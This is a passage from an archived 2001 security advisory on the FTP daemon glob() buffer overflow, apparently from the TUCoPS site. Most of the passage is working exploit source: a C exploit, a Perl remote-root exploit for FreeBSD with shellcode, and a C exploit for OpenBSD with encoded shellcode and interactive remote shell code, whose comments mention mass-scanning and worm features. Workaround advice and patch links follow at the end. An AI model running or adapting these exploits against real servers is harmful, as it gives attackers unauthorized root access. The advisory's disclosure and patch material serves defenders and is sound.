			    return EXIT_FAILURE;

		        }

	

		        target = atoi(optarg);

		        arch = &(archlist[target]);

		        code_addr = ntohl(arch->code_addr);

		        shellcode = arch->shellcode;

		        break;

	

		    case \'d\':

		        homedir = Strdup(optarg);

		        break;

	

		    case \'l\':

		        code_addr = ntohl(strtoul(optarg, NULL, 0));

		        break;

	

		    case \'v\':

		        debuglevel = atoi(optarg);

		        break;

	

		    case \'s\':

		        sleep_time = atoi(optarg);

		        break;

	

		    default:

		        usage(argv[0]);

		        break;

		    }

	        }

	

	

	        /* check for required options */

	        if(host == NULL || username == NULL || password == NULL || code_addr == 0)

		    usage(argv[0]);

	

	        /* setup the debug level */

	        switch(debuglevel)

	        {

	        case 1:

		    debug_read = 1;

		    debug_write = 0;

		    break;

	

	        case 2:

		    debug_read = 1;

		    debug_write = 1;

		    break;

	

	        default:

		    debug_read = 0;

		    debug_write = 0;

		    break;

	        }

	

	        /* make sure the shellcode is good */

	        if(!verify_shellcode(shellcode))

		    return EXIT_FAILURE;

	

	        /* initiate the tcp connection to the ftp server */

	        if((sock = tcp_connect(host, port)) == -1)

	        {

		    fprintf(stderr, \"[-] Connection to %s failed!n\", host);

		    ftp_quit(sock);

		    return EXIT_FAILURE;

	        }

	

	        if(arch == NULL)

		    printf(\"[0] Connected to host %s.n\", host);

	        else

		    printf(\"[0] Connected to host %sntusing type:t%s.n\",

		           host, arch->description);

	

	

	        /* login */

	        if(!ftp_login(sock, username, password))

	        {

		    fprintf(stderr, \"[-] Login failed, aborting!n\");

		    ftp_quit(sock);

		    return EXIT_FAILURE;

	        }

	

	        /* hey, so im anal! */

	        memset(password, \'X\', strlen(password));

	        memset(username, \'X\', strlen(username));

	

	        printf(\"[1] Login succeeded.n\");

	

	        if(sleep != 0)

		    sleep(sleep_time);

	

	        if(homedir == NULL)

	        {

		    /* get home directory */

		    if((homedir = ftp_gethomedir(sock)) == NULL)

		    {

		        fprintf(stderr, \"[-] Couldn\'t retrieve home directory, aborting!n\");

		        ftp_quit(sock);

		        return EXIT_FAILURE;

		    }

	        }

	

	        printf(\"[2] Home directory retrieved as \"%s\", %u bytes.n\",

		       homedir, strlen(homedir));

	

	        /* do the exploitation */

	        if(!ftp_glob_exploit(sock, homedir, code_addr, shellcode))

	        {

		    fprintf(stderr, \"[-] exploit failed, aborting!n\");

		    ftp_quit(sock);

		    return EXIT_FAILURE;

	        }

	

	

	        free(host);

	        return EXIT_SUCCESS;

	    }

	

	This is another version of globbing exploit. It creates only one  directory.
	

	    #!/usr/bin/perl

	

	    ###############################################################################

	    # glob() ftpd remote root exploit for freebsd 4.2-stable                      #

	    #                                                                             #

	    # babcia padlina ltd. / venglin@freebsd.lublin.pl                             #

	    #                                                                             #

	    # this version requires user access and writeable homedir without chroot.     #

	    ###############################################################################

	

	    require 5.002;

	    use strict;

	    use sigtrap;

	    use Socket;

	

	    my($recvbuf, $host, $user, $pass, $iaddr, $paddr, $proto, $code, $ret, $off, $align, $rin, $rout, $read);

	

	    # teso shellcode ripped from 7350obsd

	

	    $code  = \"x31xc0x99x52x52xb0x17xcdx80x68xccx73x68xccx68\";

	    $code .= \"xccx62x69x6exb3x2exfexc3x88x1cx24x88x5cx24x04\";

	    $code .= \"x88x54x24x07x89xe6x8dx5ex0cxc6x03x2ex88x53x01\";

	    $code .= \"x52x53x52xb0x05xcdx80x89xc1x8dx5ex05x6axedx53\";

	    $code .= \"x52xb0x88xcdx80x53x52xb0x3dxcdx80x51x52xb0x0c\";

	    $code .= \"x40xcdx80xbbxccxccxccxccx81xebx9ex9ex9dxccx31\";

	    $code .= \"xc9xb1x10x56x01xcex89x1ex83xc6x03xe0xf9x5ex8d\";

	    $code .= \"x5ex10x53x52xb0x3dxcdx80x89x76x0cx89x56x10x8d\";

	    $code .= \"x4ex0cx52x51x56x52xb0x3bxcdx80xc9xc3x55x89xe5\";

	    $code .= \"x83xecx08xebx12xa1x3cx50x90\";

	

	    #$ret = 0xbfbfeae8; - stos lagoona

	    #$ret = 0x805baf8; - bss info

	    $ret = 0x805e23a; # - bss lagoon

	

	    if (@ARGV < 3)

	    {

		    print \"Usage: $0 <hostname> <username> <password> [align] [offset]n\";

		    exit;

	    }

	

	    ($host, $user, $pass, $align, $off) = @ARGV;

	

	    if (defined($off))

	    {

		    $ret += $off;

	    }

	

	    if (!defined($align))

	    {

		    $align = 1;

	    }

	

	    print \"Globulka v1.0 by venglin@freebsd.lublin.plnn\";

	    print \"RET: 0x\" . sprintf(\'%lx\', $ret) . \"n\";

	    print \"Align: $alignnn\";

	

	    $iaddr = inet_aton($host)			or die \"Unknown host: $hostn\";

	    $paddr = sockaddr_in(21, $iaddr)		or die \"getprotobyname: $!n\";

	    $proto = getprotobyname(\'tcp\')			or die \"getprotobyname: $!n\";

	

	    socket(SOCKET, PF_INET, SOCK_STREAM, $proto)	or die \"socket: $!n\";

	    connect(SOCKET, $paddr)				or die \"connect: $!n\";

	

	    do

	    {

		    $recvbuf = <SOCKET>;

	    }

	    while($recvbuf =~ /^220- /);

	

	    print $recvbuf;

	

	    if ($recvbuf !~ /^220 .+/)

	    {

		    die \"Exploit failed.n\";

	    }

	

	    send(SOCKET, \"USER $userrn\", 0)		or die \"send: $!n\";

	    $recvbuf = <SOCKET>;

	

	    if ($recvbuf !~ /^(331|230) .+/)

	    {

		    print $recvbuf;

		    die \"Exploit failed.n\";

	    }

	

	    send(SOCKET, \"PASS $passrn\", 0)		or die \"send: $!n\";

	    $recvbuf = <SOCKET>;

	

	    if ($recvbuf !~ /^230 .+/)

	    {

		    print $recvbuf;

		    die \"Exploit failed.n\";

	    }

	    else

	    {

		    print \"Logged in as $user/$pass. Sending evil STAT command.nn\";

	    }

	

	    send(SOCKET, \"MKD \" . \"A\"x255 . \"rn\", 0)		or die \"send: $!n\";

	    $recvbuf = <SOCKET>;

	

	    if ($recvbuf !~ /^(257|550) .+/)

	    {

		    print $recvbuf;

		    die \"Exploit failed.n\";

	    }

	

	    send(SOCKET, \"STAT A*/../A*/../A*/\" . \"x90\" x (90+$align) . $code .

		    pack(\'l\', $ret) x 30 . \"rn\", 0)		or die \"send: $!n\";

	

	    sleep 1;

	

	    send(SOCKET, \"idn\", 0) 			or die \"send: $!n\";

	    $recvbuf = <SOCKET>;

	

	    if ($recvbuf !~ /^uid=.+/)

	    {

		    die \"Exploit failed.n\";

	    }

	    else

	    {

		    print $recvbuf;

	    }

	

	    vec($rin, fileno(STDIN), 1) = 1;

	    vec($rin, fileno(SOCKET), 1) = 1;

	

	    for(;;)

	    {

		    $read = select($rout=$rin, undef, undef, undef);

		    if (vec($rout, fileno(STDIN), 1) == 1)

		    {

			    if (sysread(STDIN, $recvbuf, 1024) == 0)

			    {

				    exit;

			    }

			    send(SOCKET, $recvbuf, 0);

		    }

	

		    if (vec($rout, fileno(SOCKET), 1) == 1)

		    {

			    if (sysread(SOCKET, $recvbuf, 1024) == 0)

			    {

				    exit;

			    }

			    syswrite(STDIN, $recvbuf, 1024);

		    }

	    }

	

	    close SOCKET;

	

	    exit;

	

	Another code by dvorak, Scrippie and jimjones:
	

	    /*

	       This source code is proprietary material. Commercial use, distribution,

	       modification or use of any part of this source code in any form is

	       strictly prohibited.

	       Non-commercial use, modification and distribution is allowed, as long

	       as any modification is made known to the author.

	    

	    

	       Not fully developed exploit but it works most of the time ;)

	    

	       Things to add:

	          - automatic writeable directory finding

	          - syn-scan option to do mass-scanning

	          - worm capabilities? (should be done seperatly using the -C option

	    

	       11/13/2000

	    */

	    

	    #include <stdio.h>

	    #include <netdb.h>

	    #include <netinet/in.h>

	    #include <sys/socket.h>

	    #include <sys/types.h>

	    #include <unistd.h>

	    #include <limits.h>

	    

	    void usage(char *program);

	    char *strcreat(char *, char *, int);

	    char *longToChar(unsigned long);

	    char *xrealloc(void *, size_t);

	    void xfree(char **ptr);

	    char *xmalloc(size_t);

	    int xconnect(char *host, u_short port);

	    void xsend(int fd, char *buf);

	    void xsendftpcmd(int fd, char *command, char *param);

	    void xrecieveall(int fd, char *buf, int size);

	    void xrecieve(int fd, char *buf, int size);

	    void ftp_login(int fd, char *user, char *password);

	    void exploit(int fd);

	    

	    int verbose = 0;

	    

	    

	    /*

	       Written by dvorak, garbled up by \"Smegma\" with a word xor 0xaabb mask

	       to get rid of dots and slashes.

	    */

	    

	    char heavenlycode[] =

	    \"x31xc0x89xc1x80xc1x02x51x50x04x5ax50xcdx80\"

	    \"xebx10x5ex31xc9xb1x4ax66x81x36xbbxaax46x46xe2xf7xebx05xe8\"

	    \"xebxffxffxffxffxffxffx50xcfxe5x9bx7bxfaxbfxbdxebx67x3bxfc\"

	    \"x8ax6ax33xecxbaxaex33xfax76x2ax8ax6axebx22xfdxb5x36xf4xa5\"

	    \"xf9xbfxafxebx67x3bx23x7axfcx8ax6axbfx97xebx67x3bxfbx8ax6a\"

	    \"xbfxa4xf3xfax76x2ax36xf4xb9xf9x8ax6axbfxa6xebx67x3bx27xe5\"

	    \"xb4xe8x9bx7bxaex86xfax76x2ax8ax6axebx22xfdx8dx36xf4x93xf9\"

	    \"x36xf4x9bx23xe5x82x32xecx97xf9xbfx91xebx67x3bx42x2dx55x44\"

	    \"x55xfaxebx95x84x94x84x95x85x95x84x94x84x95x85x95x84x94x84\"

	    \"x95x85x95x84x94x84x95x85x95x84x94x84x95xebx94xc8xd2xc4x94\"

	    \"xd9xd3\";

	    

	    char user[255] = \"anonymous\";

	    char pass[255] = \"anonymous@abc.com\";

	    char write_dir[PATH_MAX] = \"/\";

	    int ftpport = 21;

	    unsigned long int ret_addr = 0;

	    #define CMD_LOCAL 0

	    #define CMD_REMOTE 1

	    int command_type = -1;

	    char *command = NULL;

	    

	    struct typeT {

	            char *name;

	            unsigned long int ret_addr;

	    };

	    

	    #define NUM_TYPES 2

	    struct typeT types[NUM_TYPES] = {

	            \"OpenBSD 2.6\", 0xdfbfd0ac,

	            \"OpenBSD 2.7\", 0xdfbfd0ac};

	    

	    void

	    usage(char *program)

	    {

	            int i;

	            fprintf(stderr,

	                    \"nUsage: %s [-h host] [-f port] [-u user] [-p pass] [-d direct

	    ory] [-t type]ntt[-r retaddr] [-c command]

	    [-C command]nn\"

	                    \"Directory should be an absolute path, writable by the user.n\"

	                    \"The argument of -c will be executed on the remote hostn\"

	                    \"while the argument of -C will be executed on the localn\"

	                    \"with its filedescriptors connected to the remote hostn\"

	                    \"Valid types:n\",

	                    program);

	            for (i = 0; i < NUM_TYPES; i++) {

	                    printf(\"%d : %sn\", i,  types[i].name);

	            }

	            exit(-1);

	    }

	    

	    

	    main(int argc, char **argv)

	    {

	            unsigned int i;

	            int opt, fd;

	            unsigned int type = 0;

	            char *hostname = \"localhost\";

	    

	            if (argc < 2)

	                    usage(argv[0]);

	    

	            while ((opt = getopt(argc, argv, \"h:r:u:f:d:t:vp:c:C:\")) != -1) {

	                    switch (opt) {

	                    case \'h\':

	                            hostname = optarg;

	                            break;

	                    case \'C\':

	                            command = optarg;

	                            command_type = CMD_LOCAL;

	                            break;

	                    case \'c\':

	                            command = optarg;

	                            command_type = CMD_REMOTE;

	                            break;

	                    case \'r\':

	                            ret_addr = strtoul(optarg, NULL, 0);

	                            break;

	                    case \'v\':

	                            verbose++;

	                            break;

	                    case \'f\':

	                            if (!(ftpport = atoi(optarg))) {

	                                    fprintf(stderr, \"Invalid destination port - %s

	    n\", optarg);

	                                    exit(-1);

	                            }

	                            exit(-1);

	                            break;

	                    case \'u\':

	                            strncpy(user, optarg, sizeof(user) - 1);

	                            user[sizeof(user) - 1] = 0x00;

	                            break;

	                    case \'p\':

	                            strncpy(pass, optarg, sizeof(pass) - 1);

	                            pass[sizeof(pass) - 1] = 0x00;

	                            break;

	                    case \'d\':

	                            strncpy(write_dir, optarg, sizeof(write_dir) - 1);

	                            write_dir[sizeof(write_dir) - 1] = 0x00;

	                            if ((write_dir[0] != \'/\'))

	                                    usage(argv[0]);

	                            if ((write_dir[strlen(write_dir) - 1] != \'/\'))

	                                    strncat(write_dir, \"/\", sizeof(write_dir) - 1);

	                            break;

	                    case \'t\':

	                            type = atoi(optarg);

	                            if (type > NUM_TYPES)

	                                    usage(argv[0]);

	                            break;

	                    default:

	                            usage(argv[0]);

	                    }

	            }

	    

	            if (ret_addr == 0)

	                    ret_addr = types[type].ret_addr;

	            if ((fd = xconnect(hostname, ftpport)) == -1)

	                    exit(-1);

	            else

	                    printf(\"Connected to remote host! Sending evil codes.n\");

	    

	    

	            ftp_login(fd, user, pass);

	            exploit(fd);

	    

	    

	    }

	    

	    int

	    ftp_cmd_err(int fd, char *command, char *param, char *res, int size, char * msg

	    )

	    {

	            xsendftpcmd(fd, command, param);

	            xrecieveall(fd, res, size);

	    

	            if (res == NULL)

	                    return 0;

	            if (verbose)

	                    printf(\"%sn\", res);

	            if (msg && (res[0] != \'2\')) {

	                    fprintf(stderr, \"%sn\", msg);

	                    exit(-1);

	            }

	            return (res[0] != \'2\');

	    }

	    

	    void shell(int fd)

	    {

	            fd_set readfds;

	            char buf[1];

	            char *tst = \"echo ; echo ; echo HAVE FUN ; id ; uname -an\";

	    

	            write(fd, tst, strlen(tst));

	            while (1) {

	                    FD_ZERO(&readfds);

	                    FD_SET(0, &readfds);

	                    FD_SET(fd, &readfds);

	                    select(fd + 1, &readfds, NULL, NULL, NULL);

	                    if (FD_ISSET(0, &readfds)) {

	                            if (read(0, buf, 1) != 1) {

	                                    perror(\"read\");

	                                    exit(1);

	                            }

	                            write(fd, buf, 1);

	                    }

	                    if (FD_ISSET(fd, &readfds)) {

	                            if (read(fd, buf, 1) != 1) {

	                                    perror(\"read\");

	                                    exit(1);

	                            }

	                            write(1, buf, 1);

	                    }

	            }

	    }

	    

	    void do_command(int fd)

	    {

	            char buffer[1024];

	            int len;

	    

	            if (command_type == CMD_LOCAL) {

	                    dup2(fd, 0);

	                    dup2(fd, 1);

	                    dup2(fd, 2);

	                    execl(command, command, NULL);

	                    exit (2);

	            }

	            write(fd, command, strlen(command));

	            write(fd, \"n\", 1);

	            while ((len = read(fd, buffer, sizeof(buffer))) > 0) {

	                    write(1, buffer, len);

	            }

	            exit (0);

	    }

	    

	    int exploit_ok(int fd)

	    {

	            char result[1024];

	            xsend(fd, \"idn\");

	    

	            xrecieve(fd, result, sizeof(result));

	            return (strstr(result, \"uid=\") != NULL);

	    }

	    

	    void exploit(int fd)

	    {

	            char res[1024];

	            int heavenlycode_s;

	            char *dir = NULL;

	    

	            ftp_cmd_err(fd, \"CWD\", write_dir, res, 1024, \"Can\'t CWD to write_dir\");

	    

	            dir = strcreat(dir, \"A\", 255 - strlen(write_dir));

	            ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);

	            ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");

	            xfree(&dir);

	    

	            /* next on = 256 */

	    

	            dir = strcreat(dir, \"A\", 255);

	            ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);

	            ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");

	            xfree(&dir);

	            /* next on = 512 */

	    

	            heavenlycode_s = strlen(heavenlycode);

	            dir = strcreat(dir, \"A\", 254 - heavenlycode_s);

	            dir = strcreat(dir, heavenlycode, 1);

	            ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);

	            ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");

	            xfree(&dir);

	            /* next on = 768 */

	    

	            dir = strcreat(dir, longToChar(ret_addr), 252 / 4);

	            ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);

	            ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");

	            xfree(&dir);

	            /* length = 1020 */

	    

	            /* 1022 moet \" zijn */

	            dir = strcreat(dir, \"AAA\"\", 1);

	            ftp_cmd_err(fd, \"MKD\", dir, res, 1024, NULL);

	            ftp_cmd_err(fd, \"CWD\", dir, res, 1024, \"Can\'t change to directory\");

	            xfree(&dir);

	    

	            /* and tell it to blow up */

	            ftp_cmd_err(fd, \"PWD\", NULL, res, 1024, NULL);

	    

	            if (!exploit_ok(fd)) {

	                    if (command != NULL) {

	                            exit (2);

	                    }

	                    fprintf(stderr, \"Exploit failedn\");

	                    exit (1);

	            }

	            if (command == NULL)

	                    shell(fd);

	            else

	                    do_command(fd);

	    }

	    

	    

	    char *

	    strcreat(char *dest, char *pattern, int repeat)

	    {

	            char *ret;

	            size_t plen, dlen = 0;

	            int i;

	    

	            if (dest)

	                    dlen = strlen(dest);

	            plen = strlen(pattern);

	    

	            ret = (char *) xrealloc(dest, dlen + repeat * plen + 1);

	    

	            if (!dest)

	                    ret[0] = 0x00;

	    

	            for (i = 0; i < repeat; i++) {

	                    strcat(ret, pattern);

	            }

	            return (ret);

	    }

	    

	    char *

	    longToChar(unsigned long blaat)

	    {

	            char *ret;

	    

	            ret = (char *) xmalloc(sizeof(long) + 1);

	            memcpy(ret, &blaat, sizeof(long));

	            ret[sizeof(long)] = 0x00;

	    

	            return (ret);

	    }

	    

	    char *

	    xrealloc(void *ptr, size_t size)

	    {

	            char *wittgenstein_was_a_drunken_swine;

	    

	            if (!(wittgenstein_was_a_drunken_swine = (char *) realloc(ptr, size)))

	    {

	                    fprintf(stderr, \"Cannot calculate universen\");

	                    exit(-1);

	            }

	            return (wittgenstein_was_a_drunken_swine);

	    }

	    

	    void

	    xfree(char **ptr)

	    {

	            if (!ptr || !*ptr)

	                    return;

	            free(*ptr);

	            *ptr = NULL;

	    }

	    

	    char *

	    xmalloc(size_t size)

	    {

	            char *heidegger_was_a_boozy_beggar;

	    

	            if (!(heidegger_was_a_boozy_beggar = (char *) malloc(size))) {

	                    fprintf(stderr, \"Out of cheese errorn\");

	                    exit(-1);

	            }

	            return (heidegger_was_a_boozy_beggar);

	    }

	    

	    

	    int

	    xconnect(char *host, u_short port)

	    {

	            struct hostent *he;

	            struct sockaddr_in s_in;

	            int fd;

	    

	            if ((he = gethostbyname(host)) == NULL) {

	                    perror(\"gethostbyname\");

	                    return (-1);

	            }

	            memset(&s_in, 0, sizeof(s_in));

	            s_in.sin_family = AF_INET;

	            s_in.sin_port = htons(port);

	            memcpy(&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

	    

	            if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {

	                    perror(\"socket\");

	                    return (-1);

	            }

	            if (connect(fd, (const struct sockaddr *) & s_in, sizeof(s_in)) == -1)

	    {

	                    perror(\"connect\");

	                    return (-1);

	            }

	            return fd;

	    }

	    

	    /* returns status from ftpd */

	    void

	    ftp_login(int fd, char *user, char *password)

	    {

	            char reply[512];

	            int rep;

	            xrecieveall(fd, reply, sizeof(reply));

	            if (verbose) {

	                    printf(\"Logging in ..n\");

	                    printf(\"%sn\", reply);

	            }

	            xsendftpcmd(fd, \"USER\", user);

	            xrecieveall(fd, reply, sizeof(reply));

	            if (verbose)

	                    printf(\"%sn\", reply);

	            xsendftpcmd(fd, \"PASS\", password);

	            xrecieveall(fd, reply, sizeof(reply));

	            if (verbose)

	                    printf(\"%sn\", reply);

	    

	            if (reply[0] != \'2\') {

	                    printf(\"Login failed.n\");

	                    exit(-1);

	            }

	    }

	    

	    void

	    xsendftpcmd(int fd, char *command, char *param)

	    {

	            xsend(fd, command);

	    

	            if (param != NULL) {

	                    xsend(fd, \" \");

	                    xsend(fd, param);

	            }

	            xsend(fd, \"rn\");

	    }

	    

	    

	    void

	    xsend(int fd, char *buf)

	    {

	    

	            if (send(fd, buf, strlen(buf), 0) != strlen(buf)) {

	                    perror(\"send\");

	                    exit(-1);

	            }

	    }

	    

	    void

	    xrecieveall(int fd, char *buf, int size)

	    {

	            char scratch[6];

	    

	            if (buf == NULL || size == 0) {

	                    buf = scratch;

	                    size = sizeof(scratch);

	            }

	            memset(buf, 0, size);

	            do {

	                    xrecieve(fd, buf, size);

	            } while (buf[3] == \'-\');

	    }

	    /* recieves a line from the ftpd */

	    void

	    xrecieve(int fd, char *buf, int size)

	    {

	            char *end;

	            char ch;

	    

	            end = buf + size;

	    

	            while (buf < end) {

	                    if (read(fd, buf, 1) != 1) {

	                            perror(\"read\"); /* XXX */

	                            exit(-1);

	                    }

	                    if (buf[0] == \'n\') {

	                            buf[0] = \'\';

	                            return;

	                    }

	                    if (buf[0] != \'r\') {

	                            buf++;

	                    }

	            }

	            buf--;

	            while (read(fd, buf, 1) == 1) {

	                    if (buf[0] == \'n\') {

	                            buf[0] = \'\';

	                            return;

	                    }

	            }

	            perror(\"read\");         /* XXX */

	            exit(-1);

	    }

	

	

	

	 Update

	 ======

	

	Replugge [Rod] posted :
	

	A problem exist  in  the  ftp  client  provided  by  Kerberos  5  1.2.2,
	kerberos   5   ftp   client   is   provided   by   the    rpm    package
	krb5-workstation-1.2.2-12.
	 

	# ftp localhost

	Connected to localhost.localdomain.

	220 testbox.something.com FTP server (Version wu-2.6.1-16.7x.1) ready.

	530 Please login with USER and PASS.

	530 Please login with USER and PASS.

	KERBEROS_V4 rejected as an authentication type

	Name (localhost:user1): anonymous

	331 Guest login ok, send your complete e-mail address as password.

	Password:

	230 Guest login ok, access restrictions apply.

	Remote system type is UNIX.

	Using binary mode to transfer files.

	ftp> get ~{

	remote: ~{

	Segmentation fault

	

SOLUTION

	This advisory  will  be  updated  as  more  information  becomes  available.
	The most recent version is available from the PGP  Security  website  at:
	

	        http://www.pgp.com/research/covert/advisories/048.asp

	

	The CERT/CC is coordinating the  collection  of  information  on  vulnerable
	distributions from third party  vendors.  For  more  information,  please
	read CERT Advisory CA-2001-07 available at:
	

	        http://www.cert.org/advisories/CA-2001-07.html

	

	In lieu of a patch, these vulnerabilities may be addressed in  a  general
	fashion by ensuring that no directories exist in  the  anonymous  FTP  tree
	that are writable by the anonymous FTP user. Furthermore, BSD  and  Irix
	users should take care to ensure that no directory in  the  anonymous  FTP
	tree has a name longer than 8 characters. It is important to  note  that
	these precautions will  not  prevent  local  user  privilege  escalation
	through  the FTP daemon.
	

	For NetBSD fixed versions are:
	

	        NetBSD-current:    April 03, 2001

	        NetBSD-1.5 branch: April 04, 2001

	        NetBSD-1.4 branch: April 04, 2001

	

	Chris Evans added following. vsftpd is not vulnerable, because
	 1) It contains  a minimal internal  pattern matcher, which  uses a

	   secure string handling API.

	 2) It does not use the underlying operating system\'s glob() at all.

	

	vsftpd is available at:
	

	        ftp://ferret.lmh.ox.ac.uk/pub/linux/vsftpd-0.0.15.tar.gz

	

	In fact because of point 2) above, vsftpd is safe even on  systems  with
	buggy glob() such as OpenBSD etc. For  a  while  now,  the  security  documentation
	has specifically commented on the risks  of using glob().
	

	For FreeBSD:
	

	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch

	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.4.x.patch.asc

	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch

	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-01:33/glob.3.x.patch.asc

	

	For Progeny Linux:
	

	        wget http://archive.progeny.com/progeny/updates/newton/ftpd_0.17-3_i386.deb

	

	For Caldera Unixware :
	

	        ftp://stage.caldera.com/pub/security/unixware/CSSA-2001-SCO.27/

	        md5 checksums: 080551194083e645312089995feb330b	erg711697a.Z

	

	

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH